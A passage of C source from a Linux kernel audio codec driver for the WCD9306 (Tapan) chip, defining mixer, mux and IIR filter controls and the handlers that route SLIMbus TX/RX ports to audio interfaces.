tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR2 Enable Band5", IIR2, BAND5, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR1 Band1", IIR1, BAND1, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR1 Band2", IIR1, BAND2, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR1 Band3", IIR1, BAND3, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR1 Band4", IIR1, BAND4, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR1 Band5", IIR1, BAND5, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR2 Band1", IIR2, BAND1, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR2 Band2", IIR2, BAND2, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR2 Band3", IIR2, BAND3, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR2 Band4", IIR2, BAND4, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR2 Band5", IIR2, BAND5, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_EXT("HPHL Impedance", 0, 0, UINT_MAX, 0,
tapan_hph_impedance_get, NULL),
SOC_SINGLE_EXT("HPHR Impedance", 0, 1, UINT_MAX, 0,
tapan_hph_impedance_get, NULL),
};
static const struct snd_kcontrol_new tapan_9306_snd_controls[] = {
SOC_SINGLE_TLV("ADC5 Volume", TAPAN_A_TX_5_EN, 2, 19, 0, analog_gain),
SOC_SINGLE_S8_TLV("RX4 Digital Volume", TAPAN_A_CDC_RX4_VOL_CTL_B2_CTL,
-84, 40, digital_gain),
SOC_SINGLE_S8_TLV("DEC3 Volume", TAPAN_A_CDC_TX3_VOL_CTL_GAIN, -84, 40,
digital_gain),
SOC_SINGLE_S8_TLV("DEC4 Volume", TAPAN_A_CDC_TX4_VOL_CTL_GAIN, -84, 40,
digital_gain),
SOC_SINGLE_EXT("ANC Slot", SND_SOC_NOPM, 0, 100, 0, tapan_get_anc_slot,
tapan_put_anc_slot),
SOC_ENUM_EXT("ANC Function", tapan_anc_func_enum, tapan_get_anc_func,
tapan_put_anc_func),
SOC_SINGLE("RX4 HPF Switch", TAPAN_A_CDC_RX4_B5_CTL, 2, 1, 0),
SOC_ENUM("RX4 HPF cut off", cf_rxmix4_enum),
SOC_SINGLE_EXT("COMP0 Switch", SND_SOC_NOPM, COMPANDER_0, 1, 0,
tapan_get_compander, tapan_set_compander),
SOC_SINGLE_EXT("COMP1 Switch", SND_SOC_NOPM, COMPANDER_1, 1, 0,
tapan_get_compander, tapan_set_compander),
SOC_SINGLE_EXT("COMP2 Switch", SND_SOC_NOPM, COMPANDER_2, 1, 0,
tapan_get_compander, tapan_set_compander),
};
static const char * const rx_1_2_mix1_text[] = {
"ZERO", "SRC1", "SRC2", "IIR1", "IIR2", "RX1", "RX2", "RX3", "RX4",
"RX5", "AUXRX", "AUXTX1"
};
static const char * const rx_3_4_mix1_text[] = {
"ZERO", "SRC1", "SRC2", "IIR1", "IIR2", "RX1", "RX2", "RX3", "RX4",
"RX5", "AUXRX", "AUXTX1", "AUXTX2"
};
static const char * const rx_mix2_text[] = {
"ZERO", "SRC1", "SRC2", "IIR1", "IIR2"
};
static const char * const rx_rdac3_text[] = {
"DEM1", "DEM2"
};
static const char * const rx_rdac4_text[] = {
"DEM3", "DEM2"
};
static const char * const rx_rdac5_text[] = {
"DEM4", "DEM3_INV"
};
static const char * const sb_tx_1_2_mux_text[] = {
"ZERO", "RMIX1", "RMIX2", "RMIX3", "RMIX4",
"RSVD", "RSVD", "RSVD",
"DEC1", "DEC2", "DEC3", "DEC4"
};
static const char * const sb_tx3_mux_text[] = {
"ZERO", "RMIX1", "RMIX2", "RMIX3", "RMIX4",
"RSVD", "RSVD", "RSVD", "RSVD", "RSVD",
"DEC3"
};
static const char * const sb_tx4_mux_text[] = {
"ZERO", "RMIX1", "RMIX2", "RMIX3", "RMIX4",
"RSVD", "RSVD", "RSVD", "RSVD", "RSVD", "RSVD",
"DEC4"
};
static const char * const sb_tx5_mux_text[] = {
"ZERO", "RMIX1", "RMIX2", "RMIX3", "RMIX4",
"RSVD", "RSVD", "RSVD",
"DEC1"
};
static const char * const dec_1_2_mux_text[] = {
"ZERO", "ADC1", "ADC2", "ADC3", "ADC4", "ADCMB",
"DMIC1", "DMIC2", "DMIC3", "DMIC4"
};
static const char * const dec3_mux_text[] = {
"ZERO", "ADC1", "ADC2", "ADC3", "ADC4", "ADC5", "ADCMB",
"DMIC1", "DMIC2", "DMIC3", "DMIC4",
"ANCFBTUNE1"
};
static const char * const dec4_mux_text[] = {
"ZERO", "ADC1", "ADC2", "ADC3", "ADC4", "ADC5", "ADCMB",
"DMIC1", "DMIC2", "DMIC3", "DMIC4",
"ANCFBTUNE2"
};
static const char * const anc_mux_text[] = {
"ZERO", "ADC1", "ADC2", "ADC3", "ADC4", "ADC5",
"RSVD", "RSVD", "RSVD",
"DMIC1", "DMIC2", "DMIC3", "DMIC4",
"RSVD", "RSVD"
};
static const char * const anc1_fb_mux_text[] = {
"ZERO", "EAR_HPH_L", "EAR_LINE_1",
};
static const char * const iir_inp_text[] = {
"ZERO", "DEC1", "DEC2", "DEC3", "DEC4",
"RX1", "RX2", "RX3", "RX4", "RX5"
};
static const struct soc_enum rx_mix1_inp1_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX1_B1_CTL, 0, 12, rx_1_2_mix1_text);
static const struct soc_enum rx_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX1_B1_CTL, 4, 12, rx_1_2_mix1_text);
static const struct soc_enum rx_mix1_inp3_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX1_B2_CTL, 0, 12, rx_1_2_mix1_text);
static const struct soc_enum rx2_mix1_inp1_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX2_B1_CTL, 0, 12, rx_1_2_mix1_text);
static const struct soc_enum rx2_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX2_B1_CTL, 4, 12, rx_1_2_mix1_text);
static const struct soc_enum rx3_mix1_inp1_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX3_B1_CTL, 0, 13, rx_3_4_mix1_text);
static const struct soc_enum rx3_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX3_B1_CTL, 4, 13, rx_3_4_mix1_text);
static const struct soc_enum rx3_mix1_inp3_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX3_B2_CTL, 0, 13, rx_3_4_mix1_text);
static const struct soc_enum rx4_mix1_inp1_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX4_B1_CTL, 0, 13, rx_3_4_mix1_text);
static const struct soc_enum rx4_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX4_B1_CTL, 4, 13, rx_3_4_mix1_text);
static const struct soc_enum rx4_mix1_inp3_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX4_B2_CTL, 0, 13, rx_3_4_mix1_text);
static const struct soc_enum rx1_mix2_inp1_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX1_B3_CTL, 0, 5, rx_mix2_text);
static const struct soc_enum rx1_mix2_inp2_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX1_B3_CTL, 3, 5, rx_mix2_text);
static const struct soc_enum rx2_mix2_inp1_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX2_B3_CTL, 0, 5, rx_mix2_text);
static const struct soc_enum rx2_mix2_inp2_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX2_B3_CTL, 3, 5, rx_mix2_text);
static const struct soc_enum rx4_mix2_inp1_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX4_B3_CTL, 0, 5, rx_mix2_text);
static const struct soc_enum rx4_mix2_inp2_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX4_B3_CTL, 3, 5, rx_mix2_text);
static const struct soc_enum rx_rdac3_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX2_B2_CTL, 4, 2, rx_rdac3_text);
static const struct soc_enum rx_rdac4_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_MISC, 1, 2, rx_rdac4_text);
static const struct soc_enum rx_rdac5_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_MISC, 2, 2, rx_rdac5_text);
static const struct soc_enum sb_tx1_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_SB_B1_CTL, 0, 12,
sb_tx_1_2_mux_text);
static const struct soc_enum sb_tx2_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_SB_B2_CTL, 0, 12,
sb_tx_1_2_mux_text);
static const struct soc_enum sb_tx3_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_SB_B3_CTL, 0, 11, sb_tx3_mux_text);
static const struct soc_enum sb_tx4_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_SB_B4_CTL, 0, 12, sb_tx4_mux_text);
static const struct soc_enum sb_tx5_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_SB_B5_CTL, 0, 9, sb_tx5_mux_text);
static const struct soc_enum dec1_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_B1_CTL, 0, 10, dec_1_2_mux_text);
static const struct soc_enum dec2_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_B1_CTL, 4, 10, dec_1_2_mux_text);
static const struct soc_enum dec3_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_B2_CTL, 0, 12, dec3_mux_text);
static const struct soc_enum dec4_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_B2_CTL, 4, 12, dec4_mux_text);
static const struct soc_enum anc1_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_ANC_B1_CTL, 0, 15, anc_mux_text);
static const struct soc_enum anc2_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_ANC_B1_CTL, 4, 15, anc_mux_text);
static const struct soc_enum anc1_fb_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_ANC_B2_CTL, 0, 3, anc1_fb_mux_text);
static const struct soc_enum iir1_inp1_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ1_B1_CTL, 0, 10, iir_inp_text);
static const struct soc_enum iir1_inp2_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ1_B2_CTL, 0, 10, iir_inp_text);
static const struct soc_enum iir1_inp3_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ1_B3_CTL, 0, 10, iir_inp_text);
static const struct soc_enum iir1_inp4_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ1_B4_CTL, 0, 10, iir_inp_text);
static const struct soc_enum iir2_inp1_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ2_B1_CTL, 0, 10, iir_inp_text);
static const struct soc_enum iir2_inp2_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ2_B2_CTL, 0, 10, iir_inp_text);
static const struct soc_enum iir2_inp3_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ2_B3_CTL, 0, 10, iir_inp_text);
static const struct soc_enum iir2_inp4_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ2_B4_CTL, 0, 10, iir_inp_text);
static const struct snd_kcontrol_new rx_mix1_inp1_mux =
SOC_DAPM_ENUM("RX1 MIX1 INP1 Mux", rx_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx_mix1_inp2_mux =
SOC_DAPM_ENUM("RX1 MIX1 INP2 Mux", rx_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx_mix1_inp3_mux =
SOC_DAPM_ENUM("RX1 MIX1 INP3 Mux", rx_mix1_inp3_chain_enum);
static const struct snd_kcontrol_new rx2_mix1_inp1_mux =
SOC_DAPM_ENUM("RX2 MIX1 INP1 Mux", rx2_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx2_mix1_inp2_mux =
SOC_DAPM_ENUM("RX2 MIX1 INP2 Mux", rx2_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx3_mix1_inp1_mux =
SOC_DAPM_ENUM("RX3 MIX1 INP1 Mux", rx3_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx3_mix1_inp2_mux =
SOC_DAPM_ENUM("RX3 MIX1 INP2 Mux", rx3_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx3_mix1_inp3_mux =
SOC_DAPM_ENUM("RX3 MIX1 INP3 Mux", rx3_mix1_inp3_chain_enum);
static const struct snd_kcontrol_new rx4_mix1_inp1_mux =
SOC_DAPM_ENUM("RX4 MIX1 INP1 Mux", rx4_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx4_mix1_inp2_mux =
SOC_DAPM_ENUM("RX4 MIX1 INP2 Mux", rx4_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx4_mix1_inp3_mux =
SOC_DAPM_ENUM("RX4 MIX1 INP3 Mux", rx4_mix1_inp3_chain_enum);
static const struct snd_kcontrol_new rx1_mix2_inp1_mux =
SOC_DAPM_ENUM("RX1 MIX2 INP1 Mux", rx1_mix2_inp1_chain_enum);
static const struct snd_kcontrol_new rx1_mix2_inp2_mux =
SOC_DAPM_ENUM("RX1 MIX2 INP2 Mux", rx1_mix2_inp2_chain_enum);
static const struct snd_kcontrol_new rx2_mix2_inp1_mux =
SOC_DAPM_ENUM("RX2 MIX2 INP1 Mux", rx2_mix2_inp1_chain_enum);
static const struct snd_kcontrol_new rx2_mix2_inp2_mux =
SOC_DAPM_ENUM("RX2 MIX2 INP2 Mux", rx2_mix2_inp2_chain_enum);
static const struct snd_kcontrol_new rx4_mix2_inp1_mux =
SOC_DAPM_ENUM("RX4 MIX2 INP1 Mux", rx4_mix2_inp1_chain_enum);
static const struct snd_kcontrol_new rx4_mix2_inp2_mux =
SOC_DAPM_ENUM("RX4 MIX2 INP2 Mux", rx4_mix2_inp2_chain_enum);
static const struct snd_kcontrol_new rx_dac3_mux =
SOC_DAPM_ENUM("RDAC3 MUX Mux", rx_rdac3_enum);
static const struct snd_kcontrol_new rx_dac4_mux =
SOC_DAPM_ENUM("RDAC4 MUX Mux", rx_rdac4_enum);
static const struct snd_kcontrol_new rx_dac5_mux =
SOC_DAPM_ENUM("RDAC5 MUX Mux", rx_rdac5_enum);
static const struct snd_kcontrol_new sb_tx1_mux =
SOC_DAPM_ENUM("SLIM TX1 MUX Mux", sb_tx1_mux_enum);
static const struct snd_kcontrol_new sb_tx2_mux =
SOC_DAPM_ENUM("SLIM TX2 MUX Mux", sb_tx2_mux_enum);
static const struct snd_kcontrol_new sb_tx3_mux =
SOC_DAPM_ENUM("SLIM TX3 MUX Mux", sb_tx3_mux_enum);
static const struct snd_kcontrol_new sb_tx4_mux =
SOC_DAPM_ENUM("SLIM TX4 MUX Mux", sb_tx4_mux_enum);
static const struct snd_kcontrol_new sb_tx5_mux =
SOC_DAPM_ENUM("SLIM TX5 MUX Mux", sb_tx5_mux_enum);
static int wcd9306_put_dec_enum(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *w = wlist->widgets[0];
struct snd_soc_codec *codec = w->codec;
struct soc_enum *e = (struct soc_enum *)kcontrol->private_value;
unsigned int dec_mux, decimator;
char *dec_name = NULL;
char *widget_name = NULL;
char *temp;
u16 tx_mux_ctl_reg;
u8 adc_dmic_sel = 0x0;
int ret = 0;
char *srch = NULL;
if (ucontrol->value.enumerated.item[0] > e->max - 1)
return -EINVAL;
dec_mux = ucontrol->value.enumerated.item[0];
widget_name = kstrndup(w->name, 15, GFP_KERNEL);
if (!widget_name)
return -ENOMEM;
temp = widget_name;
dec_name = strsep(&widget_name, " ");
widget_name = temp;
if (!dec_name) {
pr_err("%s: Invalid decimator = %s\n", __func__, w->name);
ret = -EINVAL;
goto out;
}
srch = strpbrk(dec_name, "1234");
if (srch == NULL) {
pr_err("%s: Invalid decimator name %s\n", __func__, dec_name);
return -EINVAL;
}
ret = kstrtouint(srch, 10, &decimator);
if (ret < 0) {
pr_err("%s: Invalid decimator = %s\n", __func__, dec_name);
ret = -EINVAL;
goto out;
}
dev_dbg(w->dapm->dev, "%s(): widget = %s decimator = %u dec_mux = %u\n"
, __func__, w->name, decimator, dec_mux);
switch (decimator) {
case 1:
case 2:
if ((dec_mux >= 1) && (dec_mux <= 5))
adc_dmic_sel = 0x0;
else if ((dec_mux >= 6) && (dec_mux <= 9))
adc_dmic_sel = 0x1;
break;
case 3:
case 4:
if ((dec_mux >= 1) && (dec_mux <= 6))
adc_dmic_sel = 0x0;
else if ((dec_mux >= 7) && (dec_mux <= 10))
adc_dmic_sel = 0x1;
break;
default:
pr_err("%s: Invalid Decimator = %u\n", __func__, decimator);
ret = -EINVAL;
goto out;
}
tx_mux_ctl_reg = TAPAN_A_CDC_TX1_MUX_CTL + 8 * (decimator - 1);
snd_soc_update_bits(codec, tx_mux_ctl_reg, 0x1, adc_dmic_sel);
ret = snd_soc_dapm_put_enum_double(kcontrol, ucontrol);
out:
kfree(widget_name);
return ret;
}
#define WCD9306_DEC_ENUM(xname, xenum) \
{ .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = xname, \
.info = snd_soc_info_enum_double, \
.get = snd_soc_dapm_get_enum_double, \
.put = wcd9306_put_dec_enum, \
.private_value = (unsigned long)&xenum }
static const struct snd_kcontrol_new dec1_mux =
WCD9306_DEC_ENUM("DEC1 MUX Mux", dec1_mux_enum);
static const struct snd_kcontrol_new dec2_mux =
WCD9306_DEC_ENUM("DEC2 MUX Mux", dec2_mux_enum);
static const struct snd_kcontrol_new dec3_mux =
WCD9306_DEC_ENUM("DEC3 MUX Mux", dec3_mux_enum);
static const struct snd_kcontrol_new dec4_mux =
WCD9306_DEC_ENUM("DEC4 MUX Mux", dec4_mux_enum);
static const struct snd_kcontrol_new iir1_inp1_mux =
SOC_DAPM_ENUM("IIR1 INP1 Mux", iir1_inp1_mux_enum);
static const struct snd_kcontrol_new iir1_inp2_mux =
SOC_DAPM_ENUM("IIR1 INP2 Mux", iir1_inp2_mux_enum);
static const struct snd_kcontrol_new iir1_inp3_mux =
SOC_DAPM_ENUM("IIR1 INP3 Mux", iir1_inp3_mux_enum);
static const struct snd_kcontrol_new iir1_inp4_mux =
SOC_DAPM_ENUM("IIR1 INP4 Mux", iir1_inp4_mux_enum);
static const struct snd_kcontrol_new iir2_inp1_mux =
SOC_DAPM_ENUM("IIR2 INP1 Mux", iir2_inp1_mux_enum);
static const struct snd_kcontrol_new iir2_inp2_mux =
SOC_DAPM_ENUM("IIR2 INP2 Mux", iir2_inp2_mux_enum);
static const struct snd_kcontrol_new iir2_inp3_mux =
SOC_DAPM_ENUM("IIR2 INP3 Mux", iir2_inp3_mux_enum);
static const struct snd_kcontrol_new iir2_inp4_mux =
SOC_DAPM_ENUM("IIR2 INP4 Mux", iir2_inp4_mux_enum);
static const struct snd_kcontrol_new anc1_mux =
SOC_DAPM_ENUM("ANC1 MUX Mux", anc1_mux_enum);
static const struct snd_kcontrol_new anc2_mux =
SOC_DAPM_ENUM("ANC2 MUX Mux", anc2_mux_enum);
static const struct snd_kcontrol_new anc1_fb_mux =
SOC_DAPM_ENUM("ANC1 FB MUX Mux", anc1_fb_mux_enum);
static const struct snd_kcontrol_new dac1_switch[] = {
SOC_DAPM_SINGLE("Switch", TAPAN_A_RX_EAR_EN, 5, 1, 0)
};
static const struct snd_kcontrol_new hphl_switch[] = {
SOC_DAPM_SINGLE("Switch", TAPAN_A_RX_HPH_L_DAC_CTL, 6, 1, 0)
};
static const struct snd_kcontrol_new spk_dac_switch[] = {
SOC_DAPM_SINGLE("Switch", TAPAN_A_SPKR_DRV_DAC_CTL, 2, 1, 0)
};
static const struct snd_kcontrol_new hphl_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_L Switch", TAPAN_A_RX_PA_AUX_IN_CONN,
7, 1, 0),
};
static const struct snd_kcontrol_new hphr_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_R Switch", TAPAN_A_RX_PA_AUX_IN_CONN,
6, 1, 0),
};
static const struct snd_kcontrol_new ear_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_L Switch", TAPAN_A_RX_PA_AUX_IN_CONN,
5, 1, 0),
};
static const struct snd_kcontrol_new lineout1_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_L Switch", TAPAN_A_RX_PA_AUX_IN_CONN,
4, 1, 0),
};
static const struct snd_kcontrol_new lineout2_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_R Switch", TAPAN_A_RX_PA_AUX_IN_CONN,
3, 1, 0),
};
/* virtual port entries */
static int slim_tx_mixer_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *widget = wlist->widgets[0];
ucontrol->value.integer.value[0] = widget->value;
return 0;
}
static int slim_tx_mixer_put(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *widget = wlist->widgets[0];
struct snd_soc_codec *codec = widget->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx *core = dev_get_drvdata(codec->dev->parent);
struct soc_multi_mixer_control *mixer =
((struct soc_multi_mixer_control *)kcontrol->private_value);
u32 dai_id = widget->shift;
u32 port_id = mixer->shift;
u32 enable = ucontrol->value.integer.value[0];
u32 vtable = vport_check_table[dai_id];
dev_dbg(codec->dev, "%s: wname %s cname %s\n",
__func__, widget->name, ucontrol->id.name);
dev_dbg(codec->dev, "%s: value %u shift %d item %ld\n",
__func__, widget->value, widget->shift,
ucontrol->value.integer.value[0]);
mutex_lock(&codec->mutex);
if (tapan_p->intf_type != WCD9XXX_INTERFACE_TYPE_SLIMBUS) {
if (dai_id != AIF1_CAP) {
dev_err(codec->dev, "%s: invalid AIF for I2C mode\n",
__func__);
mutex_unlock(&codec->mutex);
return -EINVAL;
}
}
switch (dai_id) {
case AIF1_CAP:
case AIF2_CAP:
case AIF3_CAP:
/* only add to the list if value not set
*/
if (enable && !(widget->value & 1 << port_id)) {
if (tapan_p->intf_type ==
WCD9XXX_INTERFACE_TYPE_SLIMBUS)
vtable = vport_check_table[dai_id];
if (tapan_p->intf_type ==
WCD9XXX_INTERFACE_TYPE_I2C)
vtable = vport_i2s_check_table[dai_id];
if (wcd9xxx_tx_vport_validation(
vtable,
port_id,
tapan_p->dai, NUM_CODEC_DAIS)) {
dev_dbg(codec->dev, "%s: TX%u is used by other virtual port\n",
__func__, port_id + 1);
mutex_unlock(&codec->mutex);
return 0;
}
widget->value |= 1 << port_id;
list_add_tail(&core->tx_chs[port_id].list,
&tapan_p->dai[dai_id].wcd9xxx_ch_list
);
} else if (!enable && (widget->value & 1 << port_id)) {
widget->value &= ~(1 << port_id);
list_del_init(&core->tx_chs[port_id].list);
} else {
if (enable)
dev_dbg(codec->dev, "%s: TX%u port is used by\n"
"this virtual port\n",
__func__, port_id + 1);
else
dev_dbg(codec->dev, "%s: TX%u port is not used by\n"
"this virtual port\n",
__func__, port_id + 1);
/* avoid update power function */
mutex_unlock(&codec->mutex);
return 0;
}
break;
default:
dev_err(codec->dev, "Unknown AIF %d\n", dai_id);
mutex_unlock(&codec->mutex);
return -EINVAL;
}
dev_dbg(codec->dev, "%s: name %s sname %s updated value %u shift %d\n",
__func__, widget->name, widget->sname,
widget->value, widget->shift);
snd_soc_dapm_mixer_update_power(widget, kcontrol, enable);
mutex_unlock(&codec->mutex);
return 0;
}
static int slim_rx_mux_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *widget = wlist->widgets[0];
ucontrol->value.enumerated.item[0] = widget->value;
return 0;
}
static const char *const slim_rx_mux_text[] = {
"ZERO", "AIF1_PB", "AIF2_PB", "AIF3_PB"
};
static int slim_rx_mux_put(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *widget = wlist->widgets[0];
struct snd_soc_codec *codec = widget->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx *core = dev_get_drvdata(codec->dev->parent);
struct soc_enum *e = (struct soc_enum *)kcontrol->private_value;
u32 port_id = widget->shift;
dev_dbg(codec->dev, "%s: wname %s cname %s value %u shift %d item %ld\n",
__func__, widget->name, ucontrol->id.name, widget->value,
widget->shift, ucontrol->value.integer.value[0]);
widget->value = ucontrol->value.enumerated.item[0];
mutex_lock(&codec->mutex);
if (tapan_p->intf_type != WCD9XXX_INTERFACE_TYPE_SLIMBUS) {
if (widget->value > 1) {
dev_err(codec->dev, "%s: invalid AIF for I2C mode\n",
__func__);
goto err;
}
}
/* value need to match the Virtual port and AIF number
*/
switch (widget->value) {
case 0:
list_del_init(&core->rx_chs[port_id].list);
break;
case 1:
if (wcd9xxx_rx_vport_validation(port_id +
TAPAN_RX_PORT_START_NUMBER,
&tapan_p->dai[AIF1_PB].wcd9xxx_ch_list)) {
dev_dbg(codec->dev, "%s: RX%u is used by current requesting AIF_PB itself\n",
__func__, port_id + 1);
goto rtn;
}
list_add_tail(&core->rx_chs[port_id].list,
&tapan_p->dai[AIF1_PB].wcd9xxx_ch_list);
break;
case 2:
if (wcd9xxx_rx_vport_validation(port_id +
TAPAN_RX_PORT_START_NUMBER,
&tapan_p->dai[AIF2_PB].wcd9xxx_ch_list)) {
dev_dbg(codec->dev, "%s: RX%u is used by current requesting AIF_PB itself\n",
__func__, port_id + 1);
goto rtn;
}
list_add_tail(&core->rx_chs[port_id].list,
&tapan_p->dai[AIF2_PB].wcd9xxx_ch_list);
break;
case 3:
if (wcd9xxx_rx_vport_validation(port_id +
TAPAN_RX_PORT_START_NUMBER,
&tapan_p->dai[AIF3_PB].wcd9xxx_ch_list)) {
dev_dbg(codec->dev, "%s: RX%u is used by current requesting AIF_PB itself\n",
__func__, port_id + 1);
goto rtn;
}
list_add_tail(&core->rx_chs[port_id].list,
&tapan_p->dai[AIF3_PB].wcd9xxx_ch_list);
break;
default:
pr_err("Unknown AIF %d\n", widget->value);
goto err;
}
rtn:
snd_soc_dapm_mux_update_power(widget, kcontrol, 1, widget->value, e);
mutex_unlock(&codec->mutex);
return 0;
err:
mutex_unlock(&codec->mutex);
return -EINVAL;
}
static const struct soc_enum slim_rx_mux_enum =
SOC_ENUM_SINGLE_EXT(ARRAY_SIZE(slim_rx_mux_text), slim_rx_mux_text);
static const struct snd_kcontrol_new slim_rx_mux[TAPAN_RX_MAX] = {
SOC_DAPM_ENUM_EXT("SLIM RX1 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
SOC_DAPM_ENUM_EXT("SLIM RX2 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
SOC_DAPM_ENUM_EXT("SLIM RX3 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
SOC_DAPM_ENUM_EXT("SLIM RX4 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
SOC_DAPM_ENUM_EXT("SLIM RX5 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
};
static const struct snd_kcontrol_new aif_cap_mixer[] = {
SOC_SINGLE_EXT("SLIM TX1", SND_SOC_NOPM, TAPAN_TX1, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX2", SND_SOC_NOPM, TAPAN_TX2, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX3", SND_SOC_NOPM, TAPAN_TX3, 1, 0,
